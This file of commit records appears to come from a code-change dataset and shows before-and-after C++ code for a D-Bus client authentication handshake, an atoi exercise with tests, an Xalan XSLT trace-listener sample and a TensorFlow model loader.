<windows.h>\n#include <sddl.h>\n#include \"winutil.h\"\n#endif\n\nusing namespace std;\n\nAuthClient::AuthClient(ITransport *transport)\n : m_state(InitialState),\n m_completionListener(nullptr)\n{\n transport->addListener(this);\n setReadNotificationEnabled(true);\n byte nullBuf[1] = { 0 };\n transport->write(chunk(nullBuf, 1));\n\n stringstream uidEncoded;\n#ifdef _WIN32\n \/\/ Most common (or rather... actually used) authentication method on Windows:\n \/\/ - Server publishes address of a nonce file; the file name is in a shared memory segment\n \/\/ - Client reads nonce file\n \/\/ - Client connects and sends the nonce data, TODO: before or after the null byte \/ is there a null byte?\n \/\/ - Client uses EXTERNAL auth and says which Windows security ID (SID) it intends to have\n uidEncoded << fetchWindowsSid();\n#else\n \/\/ Most common (or rather... actually used) authentication method on Unix derivatives:\n \/\/ - Client sends a null byte so the server has something to receive with recvmsg()\n \/\/ - Server checks UID using SCM_CREDENTIALS, a mechanism of Unix local sockets\n \/\/ - Client uses EXTERNAL auth and says which Unix user ID it intends to have\n\n \/\/ The numeric UID is first encoded to ASCII (\"1000\") and the ASCII to hex... because.\n uidEncoded << geteuid();\n#endif\n string extLine = \"AUTH EXTERNAL \" + hexEncode(uidEncoded.str()) + \"\\r\\n\";\n cout << extLine;\n transport->write(chunk(extLine.c_str(), extLine.length()));\n m_state = ExpectOkState;\n}\n\nbool AuthClient::isFinished() const\n{\n return m_state >= AuthenticationFailedState;\n}\n\nbool AuthClient::isAuthenticated() const\n{\n return m_state == AuthenticatedState;\n}\n\nvoid AuthClient::setCompletionListener(ICompletionListener *listener)\n{\n m_completionListener = listener;\n}\n\nvoid AuthClient::handleTransportCanRead()\n{\n bool wasFinished = isFinished();\n while (!isFinished() && readLine()) {\n advanceState();\n }\n if (isFinished() && !wasFinished && m_completionListener) {\n m_completionListener->handleCompletion(this);\n }\n}\n\nbool AuthClient::readLine()\n{\n \/\/ don't care about performance here, this doesn't run often or process much data\n if (isEndOfLine()) {\n m_line.clear(); \/\/ start a new line\n }\n while (transport()->availableBytesForReading()) {\n byte readBuf[1];\n chunk in = transport()->read(readBuf, 1);\n assert(in.length == 1);\n m_line += char(in.ptr[0]);\n\n if (isEndOfLine()) {\n return true;\n }\n }\n return false;\n}\n\nbool AuthClient::isEndOfLine() const\n{\n return m_line.length() >= 2 &&\n m_line[m_line.length() - 2] == '\\r' && m_line[m_line.length() - 1] == '\\n';\n}\n\nvoid AuthClient::advanceState()\n{\n \/\/ TODO authentication ping-pong done *properly* (grammar \/ some simple state machine),\n \/\/ but hey, this works for now!\n \/\/ some findings:\n \/\/ - the string after the server OK is its UUID that also appears in the address string\n\n cout << \"> \" << m_line;\n\n switch (m_state) {\n case ExpectOkState: {\n \/\/ TODO check the OK\n#ifdef __unix__\n cstring negotiateLine(\"NEGOTIATE_UNIX_FD\\r\\n\");\n cout << negotiateLine.ptr;\n transport()->write(chunk(negotiateLine.ptr, negotiateLine.length));\n m_state = ExpectUnixFdResponseState;\n break; }\n case ExpectUnixFdResponseState: {\n#endif\n \/\/ TODO check the response\n cstring beginLine(\"BEGIN\\r\\n\");\n cout << beginLine.ptr;\n transport()->write(chunk(beginLine.ptr, beginLine.length));\n m_state = AuthenticatedState;\n break; }\n default:\n m_state = AuthenticationFailedState;\n transport()->close();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Implement atoi to convert a string to an integer.\n *\n * Hint: Carefully consider all possible input cases. If you want a challenge, please do not see below and ask yourself what are the possible input cases.\n *\n * Notes: It is intended for this problem to be specified vaguely (ie, no given input specs). You are responsible to gather all the input requirements up front.\n *\n * Update (2015-02-10):\n * The signature of the C++ function had been updated. If you still see your function signature accepts a const char * argument, please click the reload button to reset your code definition.\n *\n * spoilers alert... click to show requirements for atoi.\n *\n * Requirements for atoi:\n * The function first discards as many whitespace characters as necessary until the first non-whitespace character is found. Then, starting from this character, takes an optional initial plus or minus sign followed by as many numerical digits as possible, and interprets them as a numerical value.\n *\n * The string can contain additional characters after those that form the integral number, which are ignored and have no effect on the behavior of this function.\n *\n * If the first sequence of non-whitespace characters in str is not a valid integral number, or if no such sequence exists because either str is empty or it contains only whitespace characters, no conversion is performed.\n *\n * If no valid conversion could be performed, a zero value is returned. If the correct value is out of the range of representable values, INT_MAX (2147483647) or INT_MIN (-2147483648) is returned.\n * int myAtoi(string str) \n * *\/\n\n\n#include \"common.h\"\n\nint myAtoi(string str) {\n int size = str.size();\n int64_t ret = 0;\n int sign = 1;\n int i = 0;\n \/\/filter spaces\n while(i < size && isspace(str[i])) {i++;}\n if (i == size) return 0;\n\n \/\/deal with sign\n if (!isdigit(str[i])) {\n if (str[i] == '-') {\n sign = -1;\n i++;\n } else if (str[i] == '+') {\n i++;\n } else {\n return 0;\n }\n }\n while(i < size) {\n if (!isdigit(str[i])) break;\n ret = 10 * ret + str[i] - '0';\n if (ret > std::numeric_limits<int>::max()) {\n return std::numeric_limits<int>::max();\n }\n i++;\n }\n ret = ret * sign;\n if (ret > std::numeric_limits<int>::max() || ret < std::numeric_limits<int>::min()) {\n return std::numeric_limits<int>::max();\n }\n return ret;\n}\n\nint main() {\n struct Case {\n string str;\n int expect;\n } cases[] = {\n {\" +\", 0},\n {\" -\", 0},\n {\"0\", 0},\n {\"-123\", -123},\n {\"+123\", 123},\n {\"123\", 123}, \n {\" 123\", 123},\n {\"123abcde\", 123},\n {\"abc1323\", 0},\n {\"21474836499\", std::numeric_limits<int>::max() },\n };\n int size = sizeof(cases)\/sizeof(Case);\n\n bool ok = true;\n for (int i = 0; i < size; i++) {\n int result = myAtoi(cases[i].str);\n if (result != cases[i].expect) {\n ok = false;\n cerr << \"Case \" << i << \" Failed. expect: \" << cases[i].expect << \" actual output: \" << result << \" \\n\";\n }\n }\n if (ok) {\n cout << \"ALL PASSED.\";\n }\n return 0;\n}\n<commit_msg>update no 8 reverse integer.<commit_after>\/*\n * Implement atoi to convert a string to an integer.\n *\n * Hint: Carefully consider all possible input cases. If you want a challenge, please do not see below and ask yourself what are the possible input cases.\n *\n * Notes: It is intended for this problem to be specified vaguely (ie, no given input specs). You are responsible to gather all the input requirements up front.\n *\n * Update (2015-02-10):\n * The signature of the C++ function had been updated. If you still see your function signature accepts a const char * argument, please click the reload button to reset your code definition.\n *\n * spoilers alert... click to show requirements for atoi.\n *\n * Requirements for atoi:\n * The function first discards as many whitespace characters as necessary until the first non-whitespace character is found. Then, starting from this character, takes an optional initial plus or minus sign followed by as many numerical digits as possible, and interprets them as a numerical value.\n *\n * The string can contain additional characters after those that form the integral number, which are ignored and have no effect on the behavior of this function.\n *\n * If the first sequence of non-whitespace characters in str is not a valid integral number, or if no such sequence exists because either str is empty or it contains only whitespace characters, no conversion is performed.\n *\n * If no valid conversion could be performed, a zero value is returned. If the correct value is out of the range of representable values, INT_MAX (2147483647) or INT_MIN (-2147483648) is returned.\n * int myAtoi(string str) \n * *\/\n\n\n#include \"common.h\"\n\nint myAtoi(string str) {\n int size = str.size();\n int64_t ret = 0;\n int sign = 1;\n int i = 0;\n \/\/filter spaces\n while(i < size && isspace(str[i])) {i++;}\n if (i == size) return 0;\n\n \/\/deal with sign\n if (!isdigit(str[i])) {\n if (str[i] == '-') {\n sign = -1;\n i++;\n } else if (str[i] == '+') {\n i++;\n } else {\n return 0;\n }\n }\n while(i < size) {\n if (!isdigit(str[i])) break;\n ret = 10 * ret + str[i] - '0';\n if (ret * sign > std::numeric_limits<int>::max()) { \n return std::numeric_limits<int>::max();\n } else if (ret * sign < std::numeric_limits<int>::min()) {\n return std::numeric_limits<int>::min();\n }\n i++;\n }\n return sign * ret;\n}\n\nint main() {\n struct Case {\n string str;\n int expect;\n } cases[] = {\n {\" +\", 0},\n {\" -\", 0},\n {\"0\", 0},\n {\"-123\", -123},\n {\"+123\", 123},\n {\"123\", 123}, \n {\" 123\", 123},\n {\"123abcde\", 123},\n {\"abc1323\", 0},\n {\"+2147483647\", std::numeric_limits<int>::max() },\n {\"+2147483648\", std::numeric_limits<int>::max() },\n {\"-2147483648\", std::numeric_limits<int>::min() },\n {\"-2147483649\", std::numeric_limits<int>::min() },\n\n };\n int size = sizeof(cases)\/sizeof(Case);\n\n bool ok = true;\n for (int i = 0; i < size; i++) {\n int result = myAtoi(cases[i].str);\n if (result != cases[i].expect) {\n ok = false;\n cerr << \"Case \" << i << \" Failed. expect: \" << cases[i].expect << \" actual output: \" << result << \" \\n\";\n }\n }\n if (ok) {\n cout << \"ALL PASSED.\";\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n\n#include <util\/PlatformUtils.hpp>\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n\n#include <DOMSupport\/DOMSupportDefault.hpp>\n\n#include <XPath\/XObjectFactoryDefault.hpp>\n#include <XPath\/XPathSupportDefault.hpp>\n#include <XPath\/XPathFactoryDefault.hpp>\n#include <XPath\/XPathProcessorImpl.hpp>\n\n#include <XercesPlatformSupport\/XercesDOMPrintWriter.hpp>\n#include <XercesPlatformSupport\/TextFileOutputStream.hpp>\n#include <XercesPlatformSupport\/XercesStdTextOutputStream.hpp>\n\n#include <XercesParserLiaison\/XercesParserLiaison.hpp>\n\n#include <XSLT\/XSLTEngineImpl.hpp>\n#include <XSLT\/XSLTInputSource.hpp>\n#include <XSLT\/XSLTResultTarget.hpp>\n#include <XSLT\/StylesheetConstructionContextDefault.hpp>\n#include <XSLT\/StylesheetExecutionContextDefault.hpp>\n#include <XSLT\/TraceListenerDefault.hpp>\n#include <XSLT\/XSLTProcessorEnvSupportDefault.hpp>\n\n\n\nint\nmain(\n\t\t\tint\t\t\t\targc,\n\t\t\tconst char*\t\targv[])\n{\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::auto_ptr;\n\tusing std::cerr;\n\tusing std::endl;\n#endif\n\n \/\/ TraceListener flags...\n bool traceTemplates = false;\n bool traceTemplateChildren = false;\n bool traceGenerationEvent = false;\n bool traceSelectionEvent = false;\n\n\tif (argc < 2 || argc > 5)\n\t{\n\t\tcerr << \"Usage: TraceListen [+ 1 or more of following] -TT -TG -TS -TTC\" << endl;\n\t\treturn -1;\n\t}\n\n\t\/\/ Set the TraceListener flags...\n\tfor (int i = 1;\ti < argc;\ti ++)\n\t{\n\t\tif(!stricmp(\"-TT\", argv[i]))\n\t\t{\n\t\t\ttraceTemplates = true;\n\t\t}\n\t\telse if(!stricmp(\"-TG\", argv[i]))\n\t\t{\n\t\t\ttraceGenerationEvent = true;\n\t\t}\n\t\telse if(!stricmp(\"-TS\", argv[i]))\n\t\t{\n\t\t\ttraceSelectionEvent = true;\n\t\t}\n\t\telse if(!stricmp(\"-TTC\", argv[i]))\n\t\t{\n\t\t\ttraceTemplateChildren = true;\n\t\t}\n\t\telse\n\t\t{\n \t\t\tcerr << \"Usage: TraceListen [+ 1 or more of following] -TT -TG -TS -TTC\" << endl;\n\t \t\treturn -1;\n\t\t}\n\t} \n \n\ttry\n\t{\n\t\t\/\/ Call the static initializers...\n\t\tXMLPlatformUtils::Initialize();\n\t\tXSLTEngineImpl::Initialize();\t \n\n\t\t\/\/ Create the support objects that are necessary for running the processor...\n\t\tDOMSupportDefault\t\t\t\ttheDOMSupport;\n\t\tXercesParserLiaison\t\t\t\ttheParserLiaison(theDOMSupport);\n\t\tXPathSupportDefault\t\t\t\ttheXPathSupport(theDOMSupport);\n\t\tXSLTProcessorEnvSupportDefault\ttheXSLTProcessorEnvSupport;\n\t\tXObjectFactoryDefault\t\t\ttheXObjectFactory;\n\t\tXPathFactoryDefault\t\t\t\ttheXPathFactory;\n\n\t\t\/\/ Create a processor...\n\t\tXSLTEngineImpl\ttheProcessor(\n\t\t\t\t\ttheParserLiaison,\n\t\t\t\t\ttheXPathSupport,\n\t\t\t\t\ttheXSLTProcessorEnvSupport,\n\t\t\t\t\ttheXObjectFactory,\n\t\t\t\t\ttheXPathFactory);\n\n\t\t\/\/ Connect the processor to the support object...\n\t\ttheXSLTProcessorEnvSupport.setProcessor(&theProcessor);\n\n\t\t\/\/ Create a stylesheet construction context, and a stylesheet\n\t\t\/\/ execution context...\n\t\tStylesheetConstructionContextDefault\ttheConstructionContext(\n\t\t\t\t\t\ttheProcessor,\n\t\t\t\t\t\ttheXSLTProcessorEnvSupport,\n\t\t\t\t\t\ttheXPathFactory);\n\n\t\tStylesheetExecutionContextDefault\t\ttheExecutionContext(\n\t\t\t\t\t\ttheProcessor,\n\t\t\t\t\t\ttheXSLTProcessorEnvSupport,\n\t\t\t\t\t\ttheXPathSupport,\n\t\t\t\t\t\ttheXObjectFactory);\n\n\t \/\/ Our input files...The assumption is that the executable will be run\n\t\t\/\/ from same directory as the input files.\n\t\tconst XalanDOMString\t\ttheXMLFileName(\"birds.xml\");\n\t\tconst XalanDOMString\t\ttheXSLFileName(\"birds.xsl\");\n\n\t\t\/\/ Our input sources...\n\t\tXSLTInputSource\t\ttheInputSource(c_wstr(theXMLFileName));\n\t\tXSLTInputSource\t\ttheStylesheetSource(c_wstr(theXSLFileName));\n\n\t\t\/\/ Our output target...\n\t\tTextFileOutputStream\ttheOutputStream(\"birds.out\");\n\t\tXercesDOMPrintWriter\ttheResultWriter(theOutputStream);\n\t\tXSLTResultTarget\t\ttheResultTarget(&theResultWriter);\n\n\t\t\/\/ Set up a diagnostic writer to be used by the TraceListener...\n\t\tXercesStdTextOutputStream\t\t\t\ttheStdErr(cerr);\n\t\tXercesDOMPrintWriter\t\t\t\t\tdiagnosticsWriter(theStdErr);\n\n\t \/\/ Set up the TraceListener... \n\t\tauto_ptr<TraceListener>\t\ttheTraceListener(\n\t\t\tnew TraceListenerDefault(\n\t\t\t\tdiagnosticsWriter,\n\t\t\t\ttraceTemplates,\n\t\t\t\ttraceTemplateChildren,\n\t\t\t\ttraceGenerationEvent,\n\t\t\t\ttraceSelectionEvent));\n\n\t\t\/\/ Add the TraceListener to the XSLT processor...\n\t\ttheProcessor.setTraceSelects(traceSelectionEvent);\n\t\ttheProcessor.addTraceListener(theTraceListener.get());\n\n\t\t\/\/ Perform the transformation...\n\t\ttheProcessor.process(\n\t\t\t\t\t\ttheInputSource,\n\t\t\t\t\t\ttheStylesheetSource,\n\t\t\t\t\t\ttheResultTarget,\n\t\t\t\t\t\ttheConstructionContext,\n\t\t\t\t\t\ttheExecutionContext);\n\n\t\t\/\/ Call the static terminators...\n\t\tXMLPlatformUtils::Terminate();\n\t\tXSLTEngineImpl::Terminate();\n\t}\n\tcatch(...)\n\t{\n\t\tcerr << \"Exception caught! Exiting...\" << endl;\n\t}\n\n\treturn 0;\n}\n<commit_msg>Made some minor changes to support UNIX platforms.<commit_after>\/\/ Base header file. Must be first.\n#include <Include\/PlatformDefinitions.hpp>\n\n#include <iostream>\n#include <fstream>\n\n#include <util\/PlatformUtils.hpp>\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n\n#include <DOMSupport\/DOMSupportDefault.hpp>\n\n#include <XPath\/XObjectFactoryDefault.hpp>\n#include <XPath\/XPathSupportDefault.hpp>\n#include <XPath\/XPathFactoryDefault.hpp>\n#include <XPath\/XPathProcessorImpl.hpp>\n\n#include <XercesPlatformSupport\/XercesDOMPrintWriter.hpp>\n#include <XercesPlatformSupport\/TextFileOutputStream.hpp>\n#include <XercesPlatformSupport\/XercesStdTextOutputStream.hpp>\n\n#include <XercesParserLiaison\/XercesParserLiaison.hpp>\n\n#include <XSLT\/XSLTEngineImpl.hpp>\n#include <XSLT\/XSLTInputSource.hpp>\n#include <XSLT\/XSLTResultTarget.hpp>\n#include <XSLT\/StylesheetConstructionContextDefault.hpp>\n#include <XSLT\/StylesheetExecutionContextDefault.hpp>\n#include <XSLT\/TraceListenerDefault.hpp>\n#include <XSLT\/XSLTProcessorEnvSupportDefault.hpp>\n\n\n\nint\nmain(\n\t\t\tint\t\t\t\targc,\n\t\t\tconst char*\t\targv[])\n{\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::auto_ptr;\n\tusing std::cerr;\n\tusing std::endl;\n#endif\n\n\t\/\/ TraceListener flags...\n\tbool traceTemplates = false;\n\tbool traceTemplateChildren = false;\n\tbool traceGenerationEvent = false;\n\tbool traceSelectionEvent = false;\n\n\tif (argc < 2 || argc > 5)\n\t{\n\t\tcerr << \"Usage: TraceListen [+ 1 or more of following] -TT -TG -TS -TTC\" << endl;\n\t\treturn -1;\n\t}\n\n\t\/\/ Set the TraceListener flags...\n\tfor (int i = 1;\ti < argc;\ti ++)\n\t{\n\t\tif(!stricmp(\"-TT\", argv[i]))\n\t\t{\n\t\t\ttraceTemplates = true;\n\t\t}\n\t\telse if(!stricmp(\"-TG\", argv[i]))\n\t\t{\n\t\t\ttraceGenerationEvent = true;\n\t\t}\n\t\telse if(!stricmp(\"-TS\", argv[i]))\n\t\t{\n\t\t\ttraceSelectionEvent = true;\n\t\t}\n\t\telse if(!stricmp(\"-TTC\", argv[i]))\n\t\t{\n\t\t\ttraceTemplateChildren = true;\n\t\t}\n\t\telse\n\t\t{\n \t\t\tcerr << \"Usage: TraceListen [+ 1 or more of following] -TT -TG -TS -TTC\" << endl;\n\t \t\treturn -1;\n\t\t}\n\t} \n \n\ttry\n\t{\n\t\t\/\/ Call the static initializers...\n\t\tXMLPlatformUtils::Initialize();\n\t\tXSLTEngineImpl::Initialize();\t \n\n\t\t\/\/ Create the support objects that are necessary for running the processor...\n\t\tDOMSupportDefault\t\t\t\ttheDOMSupport;\n\t\tXercesParserLiaison\t\t\t\ttheParserLiaison(theDOMSupport);\n\t\tXPathSupportDefault\t\t\t\ttheXPathSupport(theDOMSupport);\n\t\tXSLTProcessorEnvSupportDefault\ttheXSLTProcessorEnvSupport;\n\t\tXObjectFactoryDefault\t\t\ttheXObjectFactory;\n\t\tXPathFactoryDefault\t\t\t\ttheXPathFactory;\n\n\t\t\/\/ Create a processor...\n\t\tXSLTEngineImpl\ttheProcessor(\n\t\t\t\t\ttheParserLiaison,\n\t\t\t\t\ttheXPathSupport,\n\t\t\t\t\ttheXSLTProcessorEnvSupport,\n\t\t\t\t\ttheXObjectFactory,\n\t\t\t\t\ttheXPathFactory);\n\n\t\t\/\/ Connect the processor to the support object...\n\t\ttheXSLTProcessorEnvSupport.setProcessor(&theProcessor);\n\n\t\t\/\/ Create a stylesheet construction context, and a stylesheet\n\t\t\/\/ execution context...\n\t\tStylesheetConstructionContextDefault\ttheConstructionContext(\n\t\t\t\t\t\ttheProcessor,\n\t\t\t\t\t\ttheXSLTProcessorEnvSupport,\n\t\t\t\t\t\ttheXPathFactory);\n\n\t\tStylesheetExecutionContextDefault\t\ttheExecutionContext(\n\t\t\t\t\t\ttheProcessor,\n\t\t\t\t\t\ttheXSLTProcessorEnvSupport,\n\t\t\t\t\t\ttheXPathSupport,\n\t\t\t\t\t\ttheXObjectFactory);\n\n\t\t\/\/ Our input files...The assumption is that the executable will be run\n\t\t\/\/ from same directory as the input files.\n\t\tconst XalanDOMString\t\ttheXMLFileName(\"birds.xml\");\n\t\tconst XalanDOMString\t\ttheXSLFileName(\"birds.xsl\");\n\n\t\t\/\/ Our input sources...\n\t\tXSLTInputSource\t\ttheInputSource(c_wstr(theXMLFileName));\n\t\tXSLTInputSource\t\ttheStylesheetSource(c_wstr(theXSLFileName));\n\n\t\t\/\/ Our output target...\n\t\tTextFileOutputStream\ttheOutputStream(\"birds.out\");\n\t\tXercesDOMPrintWriter\ttheResultWriter(theOutputStream);\n\t\tXSLTResultTarget\t\ttheResultTarget(&theResultWriter);\n\n\t\t\/\/ Set up a diagnostic writer to be used by the TraceListener...\n\t\tXercesStdTextOutputStream\t\t\t\ttheStdErr(cerr);\n\t\tXercesDOMPrintWriter\t\t\t\t\tdiagnosticsWriter(theStdErr);\n\n\t\t\/\/ Set up the TraceListener... \n\t\tTraceListenerDefault\t\ttheTraceListener(\t\t\t\t\n\t\t\t\tdiagnosticsWriter,\n\t\t\t\ttraceTemplates,\n\t\t\t\ttraceTemplateChildren,\n\t\t\t\ttraceGenerationEvent,\n\t\t\t\ttraceSelectionEvent);\n\n\t\t\/\/ Add the TraceListener to the XSLT processor...\n\t\ttheProcessor.setTraceSelects(traceSelectionEvent);\n\t\ttheProcessor.addTraceListener(&theTraceListener);\n\n\t\t\/\/ Perform the transformation...\n\t\ttheProcessor.process(\n\t\t\t\t\t\ttheInputSource,\n\t\t\t\t\t\ttheStylesheetSource,\n\t\t\t\t\t\ttheResultTarget,\n\t\t\t\t\t\ttheConstructionContext,\n\t\t\t\t\t\ttheExecutionContext);\n\n\t\t\/\/ Call the static terminators...\n\t\tXMLPlatformUtils::Terminate();\n\t\tXSLTEngineImpl::Terminate();\n\t}\n\tcatch(...)\n\t{\n\t\tcerr << \"Exception caught! Exiting...\" << endl;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"NeuralNetwork.hpp\"\n#include \"FAST\/Data\/Image.hpp\"\n#include \"FAST\/Algorithms\/ImageResizer\/ImageResizer.hpp\"\n\n#include <tensorflow\/core\/framework\/step_stats.pb.h>\n#include <tensorflow\/core\/framework\/tensor.h>\n#include <tensorflow\/core\/framework\/types.pb.h>\n#include <tensorflow\/core\/lib\/strings\/stringprintf.h>\n#include <tensorflow\/core\/platform\/env.h>\n#include <tensorflow\/core\/platform\/logging.h>\n#include <tensorflow\/core\/platform\/mutex.h>\n#include <tensorflow\/core\/platform\/types.h>\n#include <tensorflow\/core\/public\/session.h>\n#include <tensorflow\/core\/graph\/default_device.h>\n\nnamespace fast {\n\n\/\/ See here for reference: https:\/\/github.com\/tensorflow\/tensorflow\/blob\/86f5ab7474825da756838b34e1b4eac93f5fc68a\/tensorflow\/contrib\/android\/jni\/tensorflow_inference_jni.cc\n\nvoid NeuralNetwork::load(std::string networkFilename) {\n\n\ttensorflow::SessionOptions options;\n\ttensorflow::ConfigProto &config = options.config;\n\tmSession.reset(tensorflow::NewSession(options));\n\ttensorflow::GraphDef tensorflow_graph;\n\n ReadBinaryProto(tensorflow::Env::Default(), networkFilename, &tensorflow_graph);\n\n\treportInfo() << \"Creating session.\" << reportEnd();\n\ttensorflow::Status s = mSession->Create(tensorflow_graph);\n\tif (!s.ok()) {\n\t\tthrow Exception(\"Could not create TensorFlow Graph\");\n\t}\n\n\t\/\/tensorflow::graph::SetDefaultDevice(\"\/gpu:0\", &tensorflow_graph);\n\n\t\/\/ Clear the proto to save memory space.\n\ttensorflow_graph.Clear();\n\treportInfo() << \"TensorFlow graph loaded from: \" << networkFilename << reportEnd();\n\n\tmModelLoaded = true;\n}\n\n\nNeuralNetwork::NeuralNetwork() {\n\tcreateInputPort<Image>(0, true, INPUT_STATIC_OR_DYNAMIC, true);\n\tmModelLoaded = false;\n\tmInputName = \"\";\n\tmWidth = -1;\n\tmHeight = -1;\n\tcreateOpenCLProgram(std::string(FAST_SOURCE_DIR) + \"Algorithms\/NeuralNetwork\/NeuralNetwork.cl\");\n}\n\nvoid NeuralNetwork::execute() {\n\n\n\tstd::vector<Image::pointer> images = getMultipleStaticInputData<Image>();\n\n\tif(mWidth < 0 || mHeight < 0)\n\t\tthrow Exception(\"Network input layer width and height has to be specified before running the network\");\n\n images = resizeImages(images);\n\n\texecuteNetwork(images);\n}\n\n\nvoid NeuralNetwork::setInputParameters(std::string inputNodeNames, int width, int height) {\n\tmWidth = width;\n\tmHeight = height;\n\tmInputName = inputNodeNames;\n}\n\nstd::vector<std::vector<float> > NeuralNetwork::getNetworkOutput() {\n if(mOutputData.size() != 1)\n\t\tthrow Exception(\"If network has more than 1 output can't return network output without name.\");\n\n\treturn mOutputData[mOutputNames[0]];\n}\n\nstd::vector<std::vector<float> > NeuralNetwork::getNetworkOutput(std::string name) {\n\treturn mOutputData.at(name);\n}\n\nvoid NeuralNetwork::executeNetwork(const std::vector<Image::pointer>& images) {\n if(!mModelLoaded)\n\t\tthrow Exception(\"Network and weights must be loaded in NeuralNetwork before execution.\");\n\tif(mInputName == \"\")\n\t\tthrow Exception(\"An input name must ge given to the NeuralNetwork before execution\");\n\tif(mOutputNames.size() == 0)\n\t\tthrow Exception(\"An output name must ge given to the NeuralNetwork before execution\");\n\n int batchSize = images.size();\n\tif(batchSize == 0)\n\t\tthrow Exception(\"Need at least one image to execute network.\");\n\n\t\/\/ Create input tensor\n\ttensorflow::Tensor input_tensor(\n\t\t\ttensorflow::DT_FLOAT,\n\t\t\ttensorflow::TensorShape({batchSize, mHeight, mWidth, 1})\n\t);\n\n\tauto input_tensor_mapped = input_tensor.tensor<float, 4>();\n\n\tmRuntimeManager->startRegularTimer(\"input_data_copy\");\n\treportInfo() << \"TensorFlow: Copying Data.\" << reportEnd();\n\tfor(int n = 0; n < batchSize; ++n) {\n\t\tImage::pointer image = images[n];\n\t\tif (image->getWidth() != mWidth || image->getHeight() != mHeight)\n\t\t\tthrow Exception(\"Input image sent to executeNetwork was of incrorrect size\");\n\n\t\tImageAccess::pointer access = image->getImageAccess(ACCESS_READ);\n\t\tfor (int i = 0; i < mHeight; ++i) { \/\/ y\n\t\t\tfor (int j = 0; j < mWidth; ++j) { \/\/ x\n\t\t\t\tinput_tensor_mapped(n, i, j, 0) = access->getScalar(Vector2i(j, i)) \/ 255.0f;\n\t\t\t}\n\t\t}\n\t}\n\tmRuntimeManager->stopRegularTimer(\"input_data_copy\");\n\n \/\/ TODO Need to know names of inputs and outputs in advance\n\t\/\/ Input: Only single for now\n\t\/\/ Output: Can be multiple\n\n\t\/\/ Create a scalar tensor which tells the system we are NOT doing training\n\ttensorflow::Tensor input_tensor2(\n\t\t\ttensorflow::DT_BOOL,\n\t\t\ttensorflow::TensorShape() \/\/ Scalar\n\t);\n\tauto input_tensor_mapped2 = input_tensor2.tensor<bool, 0>();\n\tinput_tensor_mapped2(0) = false;\n\n\tstd::vector <std::pair<std::string, tensorflow::Tensor>> input_tensors(\n\t\t\t{{mInputName, input_tensor}, {\"keras_learning_phase\", input_tensor2}});\n\n\tstd::vector <tensorflow::Tensor> output_tensors;\n\n\ttensorflow::Status s;\n\tmRuntimeManager->startRegularTimer(\"network_execution\");\n\ts = mSession->Run(input_tensors, mOutputNames, {}, &output_tensors);\n\tmRuntimeManager->stopRegularTimer(\"network_execution\");\n\n\tif (!s.ok()) {\n\t\treportError() << \"Error during inference: \" << s << reportEnd();\n\t}\n\treportInfo() << \"Finished executing network\" << reportEnd();\n\n for(int j = 0; j < mOutputNames.size(); ++j) {\n\t\ttensorflow::Tensor *output = &output_tensors[j];\n std::string outputName = mOutputNames[j];\n\n\t\t\/\/const auto outputData = output->flat<float>(); \/\/ This is some sort of Eigen tensor type\n auto output_tensor_mapped = output->tensor<float, 2>();\n\t\tstd::vector<std::vector<float>> resultData;\n\t\tfor(int n = 0; n < batchSize; ++n) {\n std::vector<float> outputValues;\n\t\t\tfor (int i = 0; i < output_tensor_mapped.dimension(1); ++i) {\n\t\t\t\toutputValues.push_back(output_tensor_mapped(0, i));\n\t\t\t}\n\t\t\tresultData.push_back(outputValues);\n\t\t}\n\n\t\tmOutputData[outputName] = resultData;\n\t}\n\treportInfo() << \"Finished parsing output\" << reportEnd();\n\n}\n\nstd::vector<SharedPointer<Image>> NeuralNetwork::resizeImages(const std::vector<SharedPointer<Image>> &images) {\n\treportInfo() << \"Resizing images..\" << reportEnd();\n std::vector<Image::pointer> resizedImages;\n\tfor(Image::pointer image : images) {\n\t\t\/\/ Resize image to fit input layer\n\t\tif(mWidth != image->getWidth() || mHeight != image->getHeight()) {\n\t\t\t\/\/ Only resize if needed\n ImageResizer::pointer resizer = ImageResizer::New();\n resizer->setWidth(mWidth);\n resizer->setHeight(mHeight);\n resizer->setInputData(image);\n resizer->update();\n Image::pointer resizedImage = resizer->getOutputData<Image>();\n resizedImages.push_back(resizedImage);\n\t\t} else {\n\t\t\tresizedImages.push_back(image);\n\t\t}\n\t}\n\n\treturn resizedImages;\n}\n\n\n};\n<commit_msg>Check if tensorflow graph file is loaded properly<commit_after>#include \"NeuralNetwork.hpp\"\n#include \"FAST\/Data\/Image.hpp\"\n#include \"FAST\/Algorithms\/ImageResizer\/ImageResizer.hpp\"\n\n#include <tensorflow\/core\/framework\/step_stats.pb.h>\n#include <tensorflow\/core\/framework\/tensor.h>\n#include <tensorflow\/core\/framework\/types.pb.h>\n#include <tensorflow\/core\/lib\/strings\/stringprintf.h>\n#include <tensorflow\/core\/platform\/env.h>\n#include <tensorflow\/core\/platform\/logging.h>\n#include <tensorflow\/core\/platform\/mutex.h>\n#include <tensorflow\/core\/platform\/types.h>\n#include <tensorflow\/core\/public\/session.h>\n#include <tensorflow\/core\/graph\/default_device.h>\n\nnamespace fast {\n\n\/\/ See here for reference: https:\/\/github.com\/tensorflow\/tensorflow\/blob\/86f5ab7474825da756838b34e1b4eac93f5fc68a\/tensorflow\/contrib\/android\/jni\/tensorflow_inference_jni.cc\n\nvoid NeuralNetwork::load(std::string networkFilename) {\n\n\ttensorflow::SessionOptions options;\n\ttensorflow::ConfigProto &config = options.config;\n\tmSession.reset(tensorflow::NewSession(options));\n\ttensorflow::GraphDef tensorflow_graph;\n\n\t{\n\t\ttensorflow::Status s = ReadBinaryProto(tensorflow::Env::Default(), networkFilename, &tensorflow_graph);\n\t\tif (!s.ok()) {\n\t\t\tthrow Exception(\"Could not read TensorFlow graph file \" + networkFilename);\n\t\t}\n\t}\n\n\treportInfo() << \"Creating session.\" << reportEnd();\n\ttensorflow::Status s = mSession->Create(tensorflow_graph);\n\tif (!s.ok()) {\n\t\tthrow Exception(\"Could not create TensorFlow Graph\");\n\t}\n\n\t\/\/tensorflow::graph::SetDefaultDevice(\"\/gpu:0\", &tensorflow_graph);\n\n\t\/\/ Clear the proto to save memory 